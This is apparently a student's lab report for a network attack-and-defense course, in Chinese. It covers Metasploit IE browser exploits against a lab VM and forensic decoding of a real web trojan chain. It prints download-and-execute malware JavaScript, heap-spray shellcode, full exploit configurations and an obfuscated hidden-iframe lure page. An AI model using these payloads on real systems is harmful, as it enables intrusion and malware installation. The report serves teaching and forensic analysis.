20252904 2025-2026-2 《网络攻防实践》实践十一报告


20252904 2025-2026-2 《网络攻防实践》实践十一报告

1.实践内容

1.1实验要求

浏览器渗透攻击实验
使用攻击机和 Windows 靶机搭建实验环境,借助 Metasploit 框架选择浏览器漏洞模块和远程 Shell Payload,生成恶意网页脚本,并通过靶机访问验证攻击效果。

远程控制验证
在攻击成功后,通过 Metasploit 查看渗透状态,建立 Session 会话,并在靶机上远程执行命令,体验浏览器漏洞被利用后的控制过程。

网页木马取证分析
start.html 入手,逐步追踪和解密网页木马加载链,对解密出的文件地址计算 MD5 值并下载对应文件,分析其真实内容。

恶意代码解密与逆向
对网页或脚本文件继续解混淆分析;对二进制程序文件进行静态反汇编或动态调试,逐步还原网页木马的攻击流程。

攻防对抗实践
攻击方构造多个浏览器漏洞利用代码并进行混淆封装,通过欺骗性邮件发送挂马链接;防守方负责提取链接、解混淆、还原代码并分析漏洞目标。

综合能力要求
掌握 Metasploit 浏览器渗透攻击流程,理解网页木马构造原理,熟悉恶意代码取证分析方法,提高浏览器漏洞防范意识和恶意链接识别能力。

1.2相关知识点整理

Metasploit 渗透测试框架
Metasploit 是常用的安全测试框架,可用于选择漏洞利用模块、配置 Payload、生成攻击脚本并建立远程会话。本实验重点在于理解其模块化攻击流程,而不是单纯执行攻击命令。

Web 浏览器漏洞利用原理
浏览器或其插件存在安全漏洞时,攻击者可通过诱导用户访问恶意网页,使漏洞被触发,从而执行恶意代码。该过程体现了客户端漏洞攻击的典型特点,即攻击目标不是服务器,而是访问网页的浏览器端。

网页木马构造与挂马攻击
网页木马通常将恶意脚本隐藏在网页中,通过跳转、加载外部脚本、代码混淆等方式诱导浏览器执行。其核心是利用恶意 URL 或网页内容完成漏洞触发、Payload 加载和后续控制。

Payload 与 Session 会话机制
Payload 是漏洞利用成功后执行的功能代码,例如远程 Shell。攻击成功后,攻击机与靶机之间会建立 Session,会话可用于远程执行命令,体现了漏洞利用从“触发”到“控制”的完整过程。

恶意代码混淆与解混淆分析
攻击者常通过编码、变量替换、字符串拼接、脚本加密等方式隐藏真实代码逻辑。防守方需要通过解码、还原脚本结构和追踪跳转链,分析恶意代码的真实功能和攻击目标。

网页木马取证与逆向分析
取证分析需要从入口文件开始,逐步追踪文件加载关系,并结合 MD5 哈希定位样本文件。对于脚本文件,应重点分析跳转、下载和执行逻辑;对于二进制文件,则可通过静态反汇编或动态调试分析其行为特征。

2.实践过程

2.1web浏览器渗透攻击

首先修改名称

image-20260609170819174

并验证攻击机和靶机IP以及连通性

用Windows 2KServer SP0验证跟kali连通性

image-20260609170922742

通过kali验证win2k连通性

image-20260609171007962

打开Kali的Metasploit,搜索MS06-014渗透攻击模块

msfconsole
search MS06-014

image-20260609171029543

成功匹配到相关攻击模块

image-20260609171054149

选择使用该攻击模块并查看模块配置参数。

use exploit/windows/browser/ie_createobject
show options

image-20260609171118582

设置payload,将 Payload 修改为 普通远程 Shell 的 bind_tcp 连接方式,并进行攻击。

与反向连接不同,bind_tcp 通常是在靶机端开启监听端口,攻击机再连接过去,从而获得远程命令执行能力。

set payload windows/shell/bind_tcp
exploit

image-20260609171258120

攻击开启。

image-20260609171314879

输出了一个URL链接,该链接即是生成的恶意网页包含木马脚本URL,在Win2K靶机上,访问这个网页,看到一串字符串

Using URL: http://192.168.200.10:8080/to9AOCGVpGcd

image-20260609171332687

用sessions命令显示当前存在一个活动会话

sessions

image-20260609171350231

因为刚才对话编号是1,所以选择并交互进入编号为 1 的会话,尝试控制靶机。

sessions -i 1

image-20260609171408235

入侵后,查看IP地址,发现是靶机地址,说明攻击成功,获得靶机权限。

image-20260609171436233

2.2取证分析实践—网页木马攻击场景分析

首先下载学习通中的start.html,根据提示文件中给出了new09.htm的地址。先打开start.html寻找地址。

使用记事本中的编辑进行搜索。找到相关内容。

image-20260603135228885

说明 start.html 会通过隐藏 iframe 自动加载 new09.htmwidth="0"height="0" 表示该 iframe 在网页中不可见。用户正常浏览页面时看不到它,但浏览器会在后台自动请求并加载 new09.htm

image-20260603135712502

看相对地址应该在同一目录下,因为文件提供只有一个html文件,所以参考一下答案后,可知

<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>

可得两个地址

http://js.users.51.la/1299644.js
http://aa.18dd.net/aa/kl.htm

按照步骤,对其作 32 位 MD5 散列。可得

image-20260603140754302

image-20260603140822217

URL MD5 值
http://js.users.51.la/1299644.js 23180a42a2ff1192150231b44ffdf3d3
http://aa.18dd.net/aa/kl.htm 7f60672dcd6b5e90b6772545ee219bd3

其次在学习通下载网页挂马分析实践-解压密码virus文件,并打开相应文件。

首先打开第一个

image-20260603141313751

这里面内容是这样的。

image-20260603141508026

image-20260603141443587

这里面的内容是这样的。发现是混淆过的js代码结构,进行分析。

image-20260603141531918

可从文件最后这一句判断:

t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
document.write(t);

xxtea_decrypt() 是解密函数,通常形式是:

xxtea_decrypt(密文, 密钥)

所以我们可知密钥被加密,我们尝试解密。使用在线工具:https://lzltool.cn/Toolkit/ConvertStringToHexadecimal可解。

image-20260603142731030

得到结果为script

这时得到密钥对文件进行解密。在线工具: https://tool.bugku.com/safe/xxtea.php

image-20260603143055738

脚本解密后出现十六进制数。

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

通过十六进制转化成字符串可得

image-20260603143749792

function init(){document.write();}

window.onload = init;

if(document.cookie.indexOf('OK')==-1){

try{var e;

var ado=(document.createElement("object"));

ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");

var as=ado.createobject("Adodb.Stream","")}

catch(e){};

finally{

var expires=new Date();

expires.setTime(expires.getTime()+24*60*60*1000);

document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();

if(e!="[object Error]"){

document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}

else{

try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}

catch(f){};

finally{if(f!="[object Error]"){

document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}

try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}

catch(g){};

finally{if(g!="[object Error]"){

document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}

try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}

catch(h){};

finally{if(h!="[object Error]"){

obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}

}}}

这段代码主要是检测靶机浏览器环境中的 ActiveX 控件,并根据检测结果加载不同的漏洞利用脚本或下载木马文件

根据代码,可以提取出以下需要继续分析的文件:

http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab

http://aa.18dd.net/aa/1.js的MD5值:

image-20260603144205367

http://aa.18dd.net/aa/b.js的MD5值:

image-20260603144318029

http://aa.18dd.net/aa/pps.js的MD5值:

image-20260603144350094

http://down.18dd.net/bb/bd.cab的MD5值:

image-20260603144434132

URL MD5
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab 1c1d7b3539a617517c49eee4120783b2

按照刚才的步骤重复找文件。

1.分析1.js

image-20260603144958904

可得文件内容,这里要把电脑查杀关掉,要不然打不开

image-20260603145103137

通过十六进制转字符串可得

image-20260603145229974


var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

可提取网页木马的文件下载地址http://down.18dd.net/bb/014.exe

2.分析b.js

image-20260603145600416

通过询问大模型的方式进行解密可得,Shellcode 中隐藏的下载地址为

http://down.18dd.net/bb/bf.exe

image-20260603151043363

3.分析pps.js

image-20260603151313790

通过八进制转换为原始文本可得。

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

image-20260603151423747

对Shellcode 进一步还原后,能够识别出的可读字符串和关键含义如下::

GetProcAddress
GetSystemDirectoryA
WinExec
ExitThread
LoadLibraryA
urlmon
URLDownloadToFileA
http://down.18dd.net/bb/pps.exe

可以观察到木马下载地址为

http://down.18dd.net/bb/pps.exe

4.分析bd.cab

发现它是个压缩包重命名它的后缀名后解压得到了4个exe文件:014.exe、bf.exe、pps.exe、bd.exe

找到四个可执行文件:14.exebf.exepps.exebd.exe。使用 md5sum 命令计算文件哈希:

md5sum 14.exe bf.exe pps.exe bd.exe

image-20260608124825216

后三个文件的 MD5 值均为 1290ecd734d68d52318ea9016dc6fe63,说明它们是同一个文件的不同副本。

4.静态分析可执行文件

选择PEID工具分析PPS.EXE。

image-20260608213631727

显示为 Borland Delphi v6.0 - v7.0,无加壳;

image-20260608214201981

14.exe 可以顺利使用超级巡警工具脱壳。

image-20260608214438913

使用 IDA Pro Free软件加载 pps.exe,查看字符串窗口,发现以下关键信息

image-20260608220221017

发现大量远程下载地址,说明该样本具有明显的批量下载恶意程序行为,可能属于下载器或木马投递器。同时,样本中还存在 serdst.exeWdswsdewn、“IE 执行保护”、#32770 等可疑字符串,表明其可能具有文件释放、伪装、窗口操作或环境判断等行为。

image-20260608221328974

可能具备自启动传播、注册表策略修改、浏览器进程伪装或注入等行为。同时,IE执行保护允许执行确定 等字符串表明其可能通过伪装安全提示诱导用户操作。

2.3攻防对抗实践 —— Web 浏览器渗透攻击攻防

1.单独验证 MS06-055 漏洞模块

连通性测试,攻防环境如下,确保二者能够ping通

角色 系统 IP 地址
攻击方 Kali-zjy 192.168.200.10
防守方 Windows 2KServer SP0 192.168.200.13

image-20260603165649246

image-20260603165735221

验证第一个漏洞 MS06-055

在 Kali 中启动 Metasploit:

msfconsole -q

image-20260603165835331

清理旧任务和旧会话,避免影响实验结果:

jobs -K
sessions -K

image-20260603165901447

配置 MS06-055:

use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.10
set LPORT 4455
set ExitOnSession false
set VERBOSE true
show options

含义是攻击机在 8081 端口启动一个针对 MS06-055 漏洞的恶意网页服务,访问路径为 /ms06055;当 Windows 靶机使用存在漏洞的 IE 浏览器访问该 URL 时,漏洞可能被触发,并执行 windows/shell/reverse_tcp,从而让靶机反向连接到攻击机 192.168.200.10:4455,建立远程 Shell 会话。

image-20260603170142601

run -j

启动后,URL为http://192.168.200.10:8081/ms06055

image-20260603170428310

然后在 Windows 靶机 IE 里访问:

http://192.168.200.10:8081/ms06055

image-20260603212017809

当防守方登录网址时,攻击方这里取得信息。说明 MS06-055 VML 浏览器漏洞利用已经成功触发,并成功建立了远程 Shell 会话

image-20260603212035310

回到 Metasploit 查看 session:

sessions -l

image-20260603213231864

出现 session, ID 是 1:

sessions -i 1

跟实验一一致,进入防守方内部获得权限。

image-20260603213348230

用ipconfig进行地址验证。发现地址是192.168.200.13验证成功。

image-20260603213530974

2.单独验证第二个漏洞 MS06-014

跟一开始相同,在 Metasploit 中清理旧任务和 session,确保之前实验不影响本次实验,或者关机重启都可:

jobs -K
sessions -K

image-20260603214123300

配置 MS06-014:

use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.10
set LPORT 5544
set ExitOnSession false
set VERBOSE true
show options

image-20260603214311033

run -j

image-20260603214356092

启动后,MS06-014 的恶意 URL 是:

http://192.168.200.10:8082/ms06014

同样用防守方进行访问。

image-20260603214727243

ADBCgKhEMLJCmKcTiOMORlLq

3.创建两种以上漏洞模块

启动 Metasploit:

msfconsole -q

image-20260609142210223

开启两个漏洞的步骤跟上面单独验证的步骤是一样的,直接跳过过程。

都打开后,查看漏洞情况:

jobs -v

image-20260609144142165

做一个统一入口页,把两个漏洞 URL 组合到一个页面中。

先启动 Apache:

sudo systemctl start apache2
sudo systemctl enable apache2

image-20260609145903996

创建目录:

sudo mkdir -p /var/www/html/browser_lab

image-20260609145959986

创建入口页面:

sudo nano /var/www/html/browser_lab/index.html

写入以下内容:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>browser lab</title>
<style>
body {
    font-family: "Microsoft YaHei", Arial, sans-serif;
    text-align: center;
    margin-top: 120px;
    background-color: #f5f7fa;
}
h1 {
    color: #1f3c88;
    font-size: 32px;
}
p {
    color: #555;
    font-size: 18px;
}
.hiddenFrame {
    position: absolute;
    left: -9999px;
    top: -9999px;
    width: 1px;
    height: 1px;
}
</style>
</head>
<body onload="startTest()">
<h1>进入网页测试漏洞界面</h1>
<p>20252904 张峻源</p>
<iframe id="f1" class="hiddenFrame"></iframe>
<iframe id="f2" class="hiddenFrame"></iframe>
<script>
var url1 = "687474703a2f2f3139322e3136382e3230302e31303a383038312f6d733036303535";
var url2 = "687474703a2f2f3139322e3136382e3230302e31303a383038322f6d733036303134";

function startTest() {
    setTimeout(function() {
        document.getElementById("f1").src = url1;
    }, 1000);

    setTimeout(function() {
        document.getElementById("f2").src = url2;
    }, 6000);
}
</script>
</body>
</html>

image-20260609164213898

保存后,统一入口 URL 为:

http://192.168.200.10/browser_lab/index.html

靶机访问并验证攻击结果

设计一个仿真邮件,这里比较简陋。测试用的,直接给出链接。

image-20260609155712751

根据链接,在 Windows 靶机浏览器中访问:

http://192.168.200.10/browser_lab/index.html

image-20260609162238838

然后回到 Kali 的 Metasploit,查看是否建立会话:

sessions -l

image-20260609154445260

查看是否成功

sessions -l

image-20260609154507389

进入会话:

sessions -i 1

image-20260609162447165

执行简单验证命令:

hostname
ipconfig
whoami

image-20260609162427324

这时攻击方成功获取防守方的权限。

我们查看防守方视角:

防守方发现打开链接后自己的权限可能被人获取,查看抓包日志观察情况:
image-20260609164901739

截图中可以看到 HTTP 请求:

GET /ms06014 HTTP/1.1

通信双方是:

192.168.200.13  →  192.168.200.10:8082

其中 192.168.200.13 是 Windows 靶机,192.168.200.10 是 Kali 攻击机,这说明防守方自己点击链接后已经访问了攻击机提供的漏洞页面。

并且出现反向 Shell 连接端口 5544

后面可以看到新的 TCP 连接:

192.168.200.13:1251  →  192.168.200.10:5544

5544 正是攻击方给 MS06-014 配置的反向 Shell 监听端口。这个连接方向是从靶机主动连回攻击机,符合 windows/shell/reverse_tcp 的特征。

image-20260609165148395

并且后续进行了会话。既然如此我们查看原因,通过原链接打开页面后,查看网页源代码:

image-20260609164148744

对源码中的字符串拼接代码进行还原。源码中查看到有两个十六进制编码,可能是漏洞链接:

var url1 = "687474703a2f2f3139322e3136382e3230302e31303a383038312f6d733036303535";
var url2 = "687474703a2f2f3139322e3136382e3230302e31303a383038322f6d733036303134";

将这些字符串片段转换后,恢复出真实访问地址:

http://192.168.200.10:8082/ms06014
http://192.168.200.10:8081/ms06055

整理还原后的真实攻击入口
解混淆后可知,邮件中的单一链接实际上会进一步加载两个 Metasploit 漏洞利用页面:
第一条:http://192.168.200.10:8082/ms06014
第二条:http://192.168.200.10:8083/ms06055
这说明攻击方将多个浏览器漏洞利用页面封装到一个统一入口 URL 中,试图降低防守方对真实攻击目标的识别难度。

也就是受到了ms06014,ms06055两个Internet Explorer 浏览器客户端漏洞

漏洞编号 简要说明 攻击目标 实验中对应模块
MS06-014 Internet Explorer 中与 COM/ActiveX 对象创建相关的代码执行漏洞。攻击者可构造恶意网页,利用浏览器对特定 COM 对象的不安全调用执行恶意代码。 旧版本 IE 浏览器、ActiveX/COM 组件 exploit/windows/browser/ie_createobject
MS06-055 Internet Explorer 的 VML 组件漏洞,主要与 VML Fill Method 处理异常数据有关。攻击者可通过恶意网页触发漏洞,实现远程代码执行。 旧版本 IE 浏览器、VML 组件 exploit/windows/browser/ms06_055_vml_method

攻防实验分析完成!

3.学习中遇到的问题及解决

- 问题1:bd.cab压缩包解压失败,被安全中心限制操作。

image-20260608114014499- 问题1解决方案:这里要把电脑的实时保护短暂关闭,要不然解压之后会删除文件,而且不允许任何操作。

image-20260608113951260

- 问题2:一开始以为无法同时启用两个客户端漏洞
- 问题2解决方案:直接在msfconsole中输入命令就可以了。

4.实践总结

这个实验我觉得是最具有设计性的,尤其是后面设计一个欺骗性的电子邮件发送给对方。让我想起以前看到钓鱼邮件差不多的性质,让我从设计原理到真实实践做了一遍之后,真的是收获满满。让我知道如何使用metasploit进行渗透攻击方法。并且熟悉了恶意网页生成、Payload 配置、靶机访问触发以及远程 Shell 会话建立的基本流程。在取证分析部分,通过查看网页源码、提取隐藏链接、解混淆脚本和分析二进制样本,理解了网页木马的加载链和下载执行逻辑。也掌握了从网络流量、源码和日志中识别攻击行为的基本方法。后面如果真的遇到这样的情况我也知道应该怎么分析了!

posted @ 2026-06-09 17:06  源同学  阅读(3)  评论(0)    收藏  举报